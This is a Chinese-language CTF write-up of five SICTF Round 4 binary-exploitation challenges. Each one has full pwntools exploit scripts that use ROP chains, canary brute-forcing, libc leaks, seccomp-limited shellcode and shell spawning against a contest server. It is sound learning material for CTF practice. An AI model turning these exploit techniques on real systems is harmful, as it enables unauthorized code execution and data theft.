[SICTF Round4] PWN

这PWN题似乎是给我出的,4个一血1个2血。密码又过于简单。逆向太难了又不大会。

Stack fengshui

main可以溢出覆盖rbp+ret所以它每一步都需要移栈。

可用的ROP里没有pop rdi,在4004c0里有错位的01 5d c3 :add DWORD PTR [rbp-0x3d], ebx 

并且有对应的ppp6和mov call可能打ret2csu

可以改的是一个被修改过的read,因为每次只能改4字节,所以需要改两次。

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

add_dword_rbp_0x3d_ebx_ret = 0x4004d8 #01 5d c3 :add DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006ca 
mov_call = 0x4006a6 #xor ebx,ebx;... call [r12+rbx*8]
pop_rbp = 0x40063e
leave_ret = 0x400669 
ret = 0x4006d4
bss = 0x601800

def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
    return flat([
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        0, 1, addr, rdi, rdx, 0, mov_call,
        0, 0, rbp, 0, 0, 0, 0,
    ])

def add(off, addr=bss):
    return flat([
        pop_rbx_rbp_r12_r13_r14_r15_ret,
        off, addr + 0x3d, 0, 0, 0, 0,
        add_dword_rbp_0x3d_ebx_ret,
    ])


p = remote('27.25.151.29', 32968)

p.send(b'A'*0xa0+flat(bss, 0x40064b))

p.send(flat([
    add((libc.sym['system']-libc.sym['read']-0xffff000000000000)&0xffffffff,0x606e40),
    pop_rbp, 0x601900, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0-8, leave_ret))

p.send(flat([
    add(((libc.sym['system']-libc.sym['read']-0xffff000000000000)>>32)+1,0x606e44),
    pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss+0x100-0xa0-8, leave_ret))

p.send(flat([b'/bin/sh\0', ret, 
    ret2csu(rdi=bss-0xa0, addr=0x606e40),
    pop_rbp, 0x601800, 0x40064b
]).ljust(0xa0,b'\0')+flat(bss-0xa0, leave_ret))


p.interactive()

signin

应该是这里边里简单的一个题。有3个菜单,

1是格式化字符串只可以输入4字节,所以可以泄露1-9的值,这里边只有3有价值是个libc地址(格式化串里6开始在栈里,1-5分别泄露rsi,rdx,rcx,r8,r9)

2可以覆盖到canary当输入长度为0x19里可以输出canary的值

3是个溢出,同样溢出很小需要移栈。

先用1,2得到canary和libc然后system

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = remote('27.25.151.29', 33576)

p.sendlineafter(b"Your choice: ", b'2')
p.sendafter(b"Note: ", b'A'*0x19)
p.recvuntil(b'A'*0x19)
canary = b'\0'+p.recv(7)
stack = u64(p.recv(6)+b'\0\0') - 0x20
print(f"{canary.hex() = } {stack = :x}")
p.sendlineafter(b"\nAgain?\n", b'-559038737')
p.sendafter(b"Note: ", b'A'*0x18+b'\0')

p.sendlineafter(b"Your choice: ", b'1')
p.sendafter(b"Note: ", b'%3$p')
p.recvuntil(b"Note: ")
libc.address = int(p.recvuntil(b'1.', drop=True),16) - 0x114887
print(f"{libc.address = :x}")

pop_rdi = libc.address + 0x00000000001bbea1 # pop rdi ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
p.sendlineafter(b"Your choice: ", b'3')
p.sendafter(b"Note: ", flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],canary, stack-0x28, leave_ret))

p.interactive()

SigninVM

程序用随机数生成4个块分别用于寄存器,栈,指令,并且指令会被设置成r-x,这里有一个RWX的没改,可以通过同步时间预测出地址。随机数使用3个字节,爆破量不大。

虚拟机命令格式:cmd,?,reg_idx1-3,add,value

虚拟机有几个命令,这里P(读入到寄存器),W(把寄存器值写入地址)把数据写入到可写可执行区再用V跳过去执行

shellcode由于限制只能用openat,read,write倒是也够了。

from pwn import *
from ctypes import *
context(arch='amd64', log_level='debug')

clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

#p = process('./pwn2')
#gdb.attach(p, "b*0x5555555556b3\nc")
p = remote('27.25.151.29', 33207)

p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
p.recvuntil(b': 0x')
rsp = int(p.recv(10),16)
p.recvuntil(b': 0x')
rip = int(p.recv(10),16)
p.recvuntil(b': 0x')
bss = int(p.recv(10),16)
print(f"{rsp = :x} {rip = :x} {bss = :x}")

def getv():
    v2 = clibc.rand() % 1131796
    v0 = clibc.rand()
    return ((v2 + (v2 ^ v0) + clibc.rand()) >> 4) << 12

for i in range(0x1000000):
    clibc.srand(i)
    if rip == getv():
        print('bss =',hex(getv()))
        print('rsp =',hex(getv()))
        cmd = getv()
        print('cmd =', hex(cmd))
        break

shellcode = f'''
push 0x{(cmd>>12):x}; pop rsi;shl rsi,12;
push 0;pop rax;
push rax;pop rdi;
push 0x70;pop rdx;
syscall
'''
shellcode = f'''
xchg r8,rsi;
push rcx;pop rax;
push rax;pop rdi;
syscall
'''
#shellcode = asm(shellcode).ljust(24, b'\x90')

shellcode = shellcraft.openat(0,'/flag')+shellcraft.read(0, cmd+0x200,0x50) + shellcraft.write(1,cmd+0x200,0x50)
shellcode = asm(shellcode)
print(shellcode, len(shellcode))


#write payload to cmd
pay = b''
for i in range(0, len(shellcode), 8):
    pay+= b'P'+bytes([0,0,0,0]) + flat(0, shellcode[i:i+8])
    pay+= b'W'+bytes([0,0,0,0]) + flat(cmd+i, 0)

pay+= b'P'+bytes([0,0,0,0]) + flat(0, cmd)
pay+= b'V'+bytes([0,0,0,0]) + flat(0, 0)
p.sendafter(b'Please provide your VM instructions:\n', pay)
#openat,read,write

p.interactive()

'''
0x0000007621ded000 0x0000007621dee000 0x0000000000000000 rw-   rsp
0x0000007e17a5d000 0x0000007e17a5e000 0x0000000000000000 rw-   bss
0x000000a339fef000 0x000000a339ff0000 0x0000000000000000 rwx   <--- 
0x000000cfe16e4000 0x000000cfe16e5000 0x0000000000000000 r--   rip

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0012
 0006: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0012
 0007: 0x15 0x04 0x00 0x00000008  if (A == lseek) goto 0012
 0008: 0x15 0x03 0x00 0x0000000a  if (A == mprotect) goto 0012
 0009: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0012
 0010: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0012
 0011: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL
'''

T1d's computer v2.0

这个题在输入payload里会有长度检查。先把输入的东西用base64解码,但解码时会减去全=的块数,这样把ROP编码后加足够的=就能绕过长度检查。

出题人看来习惯于短溢出了,每次都得弄第2次。

from pwn import *
from ctypes import *
from time import time
from base64 import b64encode

context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

mov_rdi_rbp = 0x401602 
pop_rbp = 0x401607
ret = 0x401608

clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(int(time()))
x = clibc.rand()%256

p = remote('27.25.151.29', 33311)

p.sendlineafter(b"Please enter your username: ", b'A')

print(f"{x = :x}")
pay = b'\0'*0x48 + flat(elf.got['puts'], mov_rdi_rbp, elf.plt['puts'], ret, elf.sym['login'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l 

p.sendlineafter(b"Please enter your password: ", pay.encode())

libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")


#####2############
p.sendlineafter(b"Please enter your username: ", b'A')

print(f"{x = :x}")
pay = b'\0'*0x48 + flat(next(libc.search(b'/bin/sh\0')), mov_rdi_rbp, libc.sym['system'])
l = len(pay)-60
pay = bytes([(i+x)&0xff for i in pay])
pay = b64encode(pay)
cod1 = "0123456789+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ="
cod2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
pay = ''.join([cod1[cod2.index(i)] for i in pay.decode()])
pay += '===='*l 

p.sendlineafter(b"Please enter your password: ", pay.encode())

p.interactive()

T1d's computer v3.0

题目有4个菜单

1:login有溢出,但有栈保护需要先得到canary

2:fmt 会得到 elf.address^canary 得到canary后可以算出加载地址

3:uaf 好像没啥用

4:canary 输入密码正确后会给出canary。密码是通过/dev/random取得并且不为0,这里的漏洞在于当输入满16字节时会带所后边的i,通过i判断是否是否爆破成功。这里不通输入\n所以需要从密码中过滤掉。密码带\n的概率不大。

from pwn import *
import time

context(arch='amd64', log_level='debug')

elf = ELF('./pwn2')
libc = ELF('./libc.so.6')

def login(msg=b"root\0"):
    p.sendlineafter(b"Choose an option: ", b'1')
    p.sendlineafter(b"Please enter your username: ", b"T1d\0")
    if len(msg)< 0x68:
        p.sendlineafter(b"Please enter your password: ", msg)
    else:
        p.sendafter(b"Please enter your password: ", msg)

def fmt():
    p.sendlineafter(b"Choose an option: ", b'2')
    p.recvuntil(b"A gift for you: 0x")
    v = int(p.recvline(),16)
    print(hex(v))
    return v

def getcanary(c):
    p.sendlineafter(b"Choose an option: ", b'4')
    p.sendlineafter(b"Please input the number you guess: ", c)
    msg = p.recvline()
    return msg

def logout():
    p.sendlineafter(b"Choose an option: ", b'5')

def uaf(msg):
    p.sendlineafter(b"Choose an option: ", b'3')
    p.sendlineafter(b"Choice: ", b'1')
    p.sendafter(b"Enter your note: ", msg)
    p.sendlineafter(b"Choice: ", b'3')

def get2():
    code = [255]*8
    for i in range(7):
        for k in range(1,256):
            if k==10: continue
            code[i]=k
            p.sendlineafter(b"Choose an option: ", b'4')
            p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)
            msg = p.recvline()
            if msg[-2:] == bytes([i+1])+b'\n':
                break 
    for k in range(1,256):
        if k==10: continue
        code[7]=k
        p.sendlineafter(b"Choose an option: ", b'4')
        p.sendafter(b"Please input the number you guess: \n", bytes(code)+b'.'*8)
        msg = p.recv(10)
        if b"I'll" in msg:
            p.recvuntil(b'0x')
            canary = int(p.recvline(),16)
            return canary
    return False

p = remote('27.25.151.29', 33804)

login()
#当输入满16位时会带出i,通过i判断是否爆破成功
canary = get2()
print(f"{canary = :x}")
elf.address = (canary ^ fmt()) - 0x4060

context.log_level = 'debug'
print(f"{canary = :x} {elf.address = :x}")

mov_rdi = elf.address + 0x1d51 #mov rax,desc;mov rdi,rax;mov rdi,[rdi];ret

uaf(p64(elf.got['puts']))

bss = elf.address+ 0x4800

logout()
login(b'\0'*0x40 + flat(canary, bss, mov_rdi, elf.plt['puts'], elf.address + 0x1ab5))

libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
leave_ret = elf.address + 0x1b47

p.sendline(flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'],p64(0)*4,canary, bss-0x50 , leave_ret))
sleep(0.5)
p.sendline(b'cat flag')
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/908472.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

yaml文件编写

Kubernetes 支持YAML和JSON格式管理资源 JSON 格式:主要用于 api 接口之间消息的传递 YAML 格式;用于配置和管理,YAML是一种简洁的非标记性语言,内容格式人性化容易读懂 一&#xff0c;yaml语法格式 1.1 基本语法规则 使用空格进行缩进&#xff08;不使用制表符&#xff0…

2025浙江省考报名流程详细教程

2025年浙江省考报名马上就要开始了&#xff0c;有想要参加浙江省考的同学&#xff0c;可以提前看一下报名流程&#xff0c;和报名照要求。 报名时间&#xff1a;11月6日9时一11月11日17时 南核时间&#xff1a;11月6日9时一11月13日17时 缴费时间&#xff1a;11月14日9时一11月…

江协科技STM32学习- P30 FlyMCU串口下载STLink Utility

&#x1f680;write in front&#x1f680; &#x1f50e;大家好&#xff0c;我是黄桃罐头&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流 &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd;​…

HarmonyOS鸿蒙开发入门,常用ArkUI组件学习(一)

刚开始接触HarmonyOS的开发&#xff0c;希望不会太晚。在我学习的过程中&#xff0c;我会将我学到的内容&#xff0c;通过写博客的形式&#xff0c;来进行回忆和复习。同时也希望能够遇到志同道合的朋友&#xff0c;我们一起学习&#xff0c;一起进步&#xff0c;文章中有什么不…

shell脚本案例:创建用户和组

使用场景 在部署程序时&#xff0c;往往首要任务是创建用户和组。有的程序可能用到的组、用户比较多&#xff1b;且不知道服务器环境是否已经有了所需的组和用户。所以针对这个情况&#xff0c;根据Oracle RAC部署时的实际情况写了个脚本。 Linux版本 脚本代码 #!/bin/bash …

【设计模式】结构型模式(一):适配器模式、装饰器模式

结构型模式&#xff08;一&#xff09;&#xff1a;适配器模式、装饰器模式 1.适配器模式&#xff08;Adapter&#xff09;2.装饰器模式&#xff08;Decorator&#xff09;2.1 主要特点2.2 组成部分2.3 示例代码2.3.1 Component 组件2.3.2 ConcreteComponent 具体组件2.3.3 Dec…

交换机的基本配置

交换机的基本配置 实验题目实验目的实验任务实验设备实验环境实验步骤VLAN 的简单配置跨交换机 vlan 的配置主机配置信息表解释&#xff1a; vlan 间路由 实验题目 交换机的基本配置。 实验目的 1) 理解交换机的原理和应用场景&#xff1b; 2) 交换机的基本指令系统&#xf…

QFrameWork学习指南

QFramework官网地址&#xff1a;Wiki - 木兰确实 1、界面设计 &#xff08;1&#xff09;CounterAppController的界面 BtnAdd和BtnSub为Button组件&#xff0c;CountText为Text组件&#xff0c;后续的脚本挂载Canvas上。 &#xff08;2&#xff09;OnGUI OnGUI是Unity中通过…

黄金价格下跌,原油价格激增,小麦价格面临阻力

黄金价格回落 现货黄金价格达到每金衡盎司 $2,790.00 的新纪录高点&#xff0c;接近心理关口 $2,800.00&#xff0c;随后在部分交易员在周五美国非农就业数据&#xff08;NFPs&#xff09;公布前以及下周美国选举前套现利润的回撤中下跌至 $2,732.00。 在 $2,732.00 以下是 10…

DiskGenius一键修复磁盘损坏

下午外接磁盘和U盘都出现扇区损坏&#xff0c;估计就是在开着电脑&#xff0c;可能是电脑运行的软件还在对磁盘进行读写&#xff0c;不小心按到笔记本关机键&#xff0c;重新开机读写磁盘分区变得异常卡顿&#xff0c;估摸就是这个原因导致扇区损坏。在进行读写时&#xff0c;整…

智慧国土空间规划方法探索与实践应用

在数字化时代背景下&#xff0c;国土空间规划正经历着一场深刻的变革。智慧国土空间规划作为一种新兴的规划理念和方法&#xff0c;其核心在于利用现代信息技术&#xff0c;提高规划的科学性、精准性和动态适应性。本文将探讨智慧国土空间规划的方法探索与实践应用。 1. 智慧国…

从零开发操作系统-为什么磁盘的扇区为 512 byte

你好&#xff0c;我是 shengjk1&#xff0c;多年大厂经验&#xff0c;努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注&#xff01;你会有如下收益&#xff1a; 了解大厂经验拥有和大厂相匹配的技术等 希望看什么&#xff0c;评论或者私信告诉我&#xff01; 文章目录 一…

一文了解Android SELinux

在Android系统中&#xff0c;SELinux&#xff08;Security-Enhanced Linux&#xff09;是一个增强的安全机制&#xff0c;用于对系统进行强制访问控制&#xff08;Mandatory Access Control&#xff0c;MAC&#xff09;。它限制了应用程序和进程的访问权限&#xff0c;提供了更…

Redis-持久化(增量模式和全量模式)

文章目录 一、持久化和Redis持久化概念持久化介绍Redis持久化的介绍全量模式持久化技术——RDB增量模式持久化技术——AOF使用RDB还是AOF? 二、RDB配置以及数据恢复的简单实现RDB快照的工作方式如何关闭RDB持久化功能如何模拟Redis服务器数据丢失&#xff1f;然后再如何具体使…

SQL 常用语句

目录 我的测试环境 学习文档 进入数据库 基础通关测验 语句-- 查 展示数据库&#xff1b; 进入某个数据库&#xff1b; 展示表&#xff1a; 展示某个表 desc 查询整个表&#xff1a; 查询特定列&#xff1a; 范围查询 等于特定值 不等于 介于 特定字符查询 Li…

MFC图形函数学习05——画椭圆函数

MFC中有一个专门绘制椭圆的函数&#xff0c;其参数与绘制矩形参数相同&#xff0c;实际上所绘制的椭圆就是矩形的内切圆椭圆。 一、绘制椭圆函数 原型&#xff1a;BOOL Ellipse (int x1,int y1,int x2,int y2); 参数&#xff1a;椭圆内切矩形的左上角&#xff08…

Spring3(代理模式 Spring1案例补充 Aop 面试题)

Spring3 代理模式概述介绍什么是代理模式&#xff1f;为什么要使用代理模式&#xff1f;有哪几种代理模式&#xff1f;静态代理基于接口实现的动态代理(JDK自带)基于子类的动态代理 Spring_AOP_01案例补充(添加事务管理)实现完整代码&#xff1a;常规实现&#xff1a;代理实现 …

开源模型应用落地-Qwen2.5-7B-Instruct与TGI实现推理加速

一、前言 目前&#xff0c;大语言模型已升级至Qwen2.5版本。无论是语言模型还是多模态模型&#xff0c;均在大规模多语言和多模态数据上进行预训练&#xff0c;并通过高质量数据进行后期微调以贴近人类偏好。在本篇学习中&#xff0c;将集成 Hugging Face的TGI框架实现模型推理…

Android 使用ninja加速编译的方法

ninja的简介 随着Android版本的更迭&#xff0c;makefile体系逐渐增多&#xff0c;导致make单编模块的时间越来越长&#xff0c;每次都需要半个小时甚至更长时间&#xff0c;其原因为每次make都会重新加载所有mk文件&#xff0c;再生成ninja编译&#xff0c;此完整过程十分耗时…

javaNIO核心知识.中

Channel&#xff08;通道&#xff09; Channel 是一个通道&#xff0c;它建立了与数据源&#xff08;如文件、网络套接字等&#xff09;之间的连接。我们可以利用它来读取和写入数据&#xff0c;就像打开了一条自来水管&#xff0c;让数据在 Channel 中自由流动。 BIO 中的流…